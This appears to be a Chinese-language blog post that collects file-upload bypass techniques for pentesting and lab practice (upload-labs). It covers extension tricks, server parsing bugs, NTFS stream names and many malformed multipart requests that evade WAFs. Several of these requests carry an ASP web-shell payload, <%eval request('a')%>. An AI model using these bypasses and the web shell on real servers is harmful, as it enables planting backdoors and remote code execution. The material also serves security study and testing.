文件上传bypass总结

前言

  虽然接触web漏洞很久了,但一直没有详细总结各个漏洞的bypass姿势,最近安恒红皮书看到了文件上传bypass姿势,顺便做个总结。纸上得来终觉浅,绝知此事要躬行

文件名绕过

shell.php(%80-%99).jpg

上传后的文件,重命名

超长文件名

%00截断

  upload-labs第一关,文件名如下图所示
  
  选择%00进行url编码
  

00 (hex)

  upload-labs第一关
  
  将2e改为00
  
  

禁用前端js

  upload-labs 第一关 禁用前端js即可上传

脚本后缀

  大小写混淆
  Php/php3/php/php5/php6/pht/phpt/phtml
  asp/cer/asa/cdx/aspx/ashx/ascx/asax
  jsp/jspx/jspf
  upload-labs 第三关,文件后缀改成php3即可绕过

解析漏洞

IIS

  IIS 5.x/IIS6.0 两个解析缺陷: 目录名包含 .asp、.asa、.cer的话,则该目录下的所有文件都将按照asp解析。
  /abc.asp/1.jpg 会当做 /abc.asp 进行解析。
  /abc.php;j.jpg 会当做 /abc.php 进行解析

Apache1.X 2.X解析漏洞

  apache在以上版本中,解析文件名的方式是从后向前识别扩展名,直到遇到Apache可识别的扩展名为止。
  文件名1.php.bbb.aaa ,因为无法识别aaa扩展名,而后有无法识别bbb扩展名,所以最后的文件名就是1.php

Nginx

  以下Nginx 容器的版本下,上传一个在waf白名单之内扩展名的文件shell.jpg,然后以shell.jpg.php进行访问

Nginx 0.5.*
Nginx 0.6.*
Nginx 0.7 <= 0.7.65
Nginx 0.8 <= 0.8.37

  以下Nginx容器的版本下,上传一个在waf白名单之内扩展名的文件shell.jpg,然后以shell.jpg%20.php进行请求。

Nginx 0.8.41 - 1.5.6

PHP CGI解析漏洞

  IIS 7.0/7.5 和Nginx < 0.8.3 以上的容器版本中默认php配置文件 cgi.fix_pathinfo=1时,上传一个存在于白名单的扩展名文件shell.jpg,在请求时以shell.jpg/shell.php请求,会将shell.jpg以php来解析。

系统特性

  NTFS ADS特性:ADS是NTFS磁盘格式的一个特性,用于NTFS交换数据流。在上传文件时,如果waf对请求正文的filename匹配不当的话可能会导致绕过。

test.asp.
test.asp(空格)
test.php:1.jpg
test.php::$DATA
test.php_
上传的文件名 服务器表面现象 生成的文件内容
Test.php:a.jpg 生成Test.php
Test.php::$DATA 生成Test.php
Test.php::$INDEX_ALLOCATION 生成Test.php文件夹
Test.php::$DATA.jpg 生成0.jpg
Test.php::$DATA\aaa.jpg 生成aaa.jpg

  在window的时候如果文件名+”::$DATA”会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名
  如upload-labs 第九关 需在windows环境下搭建
  
  访问时去掉后面的::$DATA
  

Content-Type

  常见的图片MIME类型有:image/jpeg、image/png、image/gif
  修改content-Type后的内容
  如upload-labs 第二关
  

WAF绕过

垃圾数据

------WebKitFormBoundarynTcIlg1zpA21jjzC
Content-Disposition: form-data; name="upload_file"; filename="1.php";aaaaaaaaaaaaaaa
Content-Type: image/jpeg

<?php phpinfo(); ?>
------WebKitFormBoundarynTcIlg1zpA21jjzC

文件名解析兼容性

  multipart协议中,文件名的形式为”filename=”abc.php””。但是Tomcat、PHP等容器解析协议时会做一些兼容,能正确解析 filename=”abc.php”、”filename=abc.php”、 “filename=’abc.php’”。而WAF只按照协议标准去解析,无法解析文件名,但是后端容器能正确获得文件名,从而导致被绕过。场景的绕过形式:

Content-Disposition: form-data; name="file"; filename=bc.php
Content-Disposition: form-data; name="file"; filename="abc.php
Content-Disposition: form-data; name="file"; filename='abc.php'

未解析所有文件

  multipart协议中,一个POST请求可以同时上传多个文件。许多WAF只检查第一个上传文件,没有检查上传的所有文件,而实际后端容器会解析所有上传的文件名,攻击者只需把payload放在后面的文件部分,即可绕过。

不规则Content-Disposition文件名覆盖

------WebKitFormBoundary2Kaq95Zw8qSdxY5A
Content-Disposition: form-data; name="upload_file"; filename="abc.jpg"
Content-Disposition: form-data; name="upload_file"; filename="abc.php"
Content-Type: image/jpeg

<?php phpinfo(); ?>
------WebKitFormBoundary2Kaq95Zw8qSdxY5A

多个Content-Disposition文件名覆盖(Win2008 + IIS7.0 + PHP)

------WebKitFormBoundary2Kaq95Zw8qSdxY5A
Content-Disposition: form-data; name="upload_file"; filename="abc.php"


------WebKitFormBoundary2Kaq95Zw8qSdxY5A
Content-Disposition: form-data; name="upload_file"; filename="abc.jpg"
Content-Type: image/jpeg

<?php phpinfo(); ?>
------WebKitFormBoundary2Kaq95Zw8qSdxY5A

更换filename位置 (iis 6)

------WebKitFormBoundary2Kaq95Zw8qSdxY5A
Content-Disposition: form-data; name="upload_file"; 
Content-Type: image/jpeg
filename="abc.php"

<?php phpinfo(); ?>
------WebKitFormBoundary2Kaq95Zw8qSdxY5A

删除content-type字段

------WebKitFormBoundary2Kaq95Zw8qSdxY5A
Content-Disposition: form-data; name="upload_file"; filename="php.jpg"

<?php phpinfo(); ?>
------WebKitFormBoundary2Kaq95Zw8qSdxY5A

删除Content-Disposition空格

------WebKitFormBoundary2Kaq95Zw8qSdxY5A
Content-Disposition:form-data; name="upload_file"; filename="php.jpg"

<?php phpinfo(); ?>
------WebKitFormBoundary2Kaq95Zw8qSdxY5A

修改Content-Disposition 字段值的大小写

------WebKitFormBoundary2Kaq95Zw8qSdxY5A
Content-Disposition: form-data; nAme="upload_file"; filename="php.jpg"

<?php phpinfo(); ?>
------WebKitFormBoundary2Kaq95Zw8qSdxY5A

boundary空格 (WIn2003 + IIS6.0 + ASP)

Content-Type: multipart/form-data; boundary= ---------------------------4714631421141173021852555099
Content-Length: 253

-----------------------------4714631421141173021852555099
Content-Disposition: form-data; name="file1"; filename="shell.asp"
Content-Type: application/octet-stream
<%eval request("a")%>
-----------------------------4714631421141173021852555099

boundary边界不一致(Win2003 + IIS6.0 + ASP)

Content-Type: multipart/form-data; boundary=---------------------------4714631421141173021852QWERTUIJHUIJUJ
Content-Length: 253

-----------------------------4714631421141173021852555099
Content-Disposition: form-data; name="file1"; filename="shell.asp"
Content-Type: application/octet-stream
<%eval request("a")%>
-----------------------------4714631421141173021852555099

php+apache畸形的boundary

  php在解析multipart data的时候有自己的特性,对于boundary的识别,只取了逗号前面的内容,例如我们设置的 boundary为—aaaaa,123456,php解析的时候只识别了—aaaaa,后面的内容均没有识别。然而其他的如WAF在做解析的时候,有可能获取的是整个字符串

Content-Type: multipart/form-data; boundary=-----,xxxx
Content-Length: 253

-----,xxxx
Content-Disposition: form-data; name="file1"; filename="shell.asp"
Content-Type: application/octet-stream
<%eval request("a")%>
-----,xxxx

文件名覆盖

  在一个Content-Disposition中,存在多个filename,协议解析应该使用最后的filename值作为文件名。如果WAF解析到filename=”php.jpg”认为解析到文件名,结束解析,将导致被绕过。因为后端容器解析到的文件名是 php.php

------WebKitFormBoundary2Kaq95Zw8qSdxY5A
Content-Disposition: form-data; name="upload_file"; filename="php.jpg";filename="php.jpg"
Content-Type: image/jpeg

<?php phpinfo(); ?>
------WebKitFormBoundary2Kaq95Zw8qSdxY5A

文件名回车

Content-Disposition: form-data; name="upload_file"; filename="php.ph
p"

遗漏文件名

  当WAF遇到name="myfile";;时,认为没有解析到filename。而后端容器继续解析到的文件名是1.php,导致waf被绕过

Content-Disposition: form-data; name="myfile";; filename="1.php"

.htaccess

  如upload-labs 第四关
  文件名为.htaccess添加SetHandler application/x-httpd-php内容
  
  上传图片马,即可绕过
  

参考资料

  文件寄生——寻找宿主的不归路(NTFS文件流实际应用)
  安恒红皮书:551页-561页
  【文件上传绕过】八、::$DATA上传绕过
  .htaccess 文件 在文件上传中的使用
  文件上传漏洞(绕过姿势)

查看评论 -
评论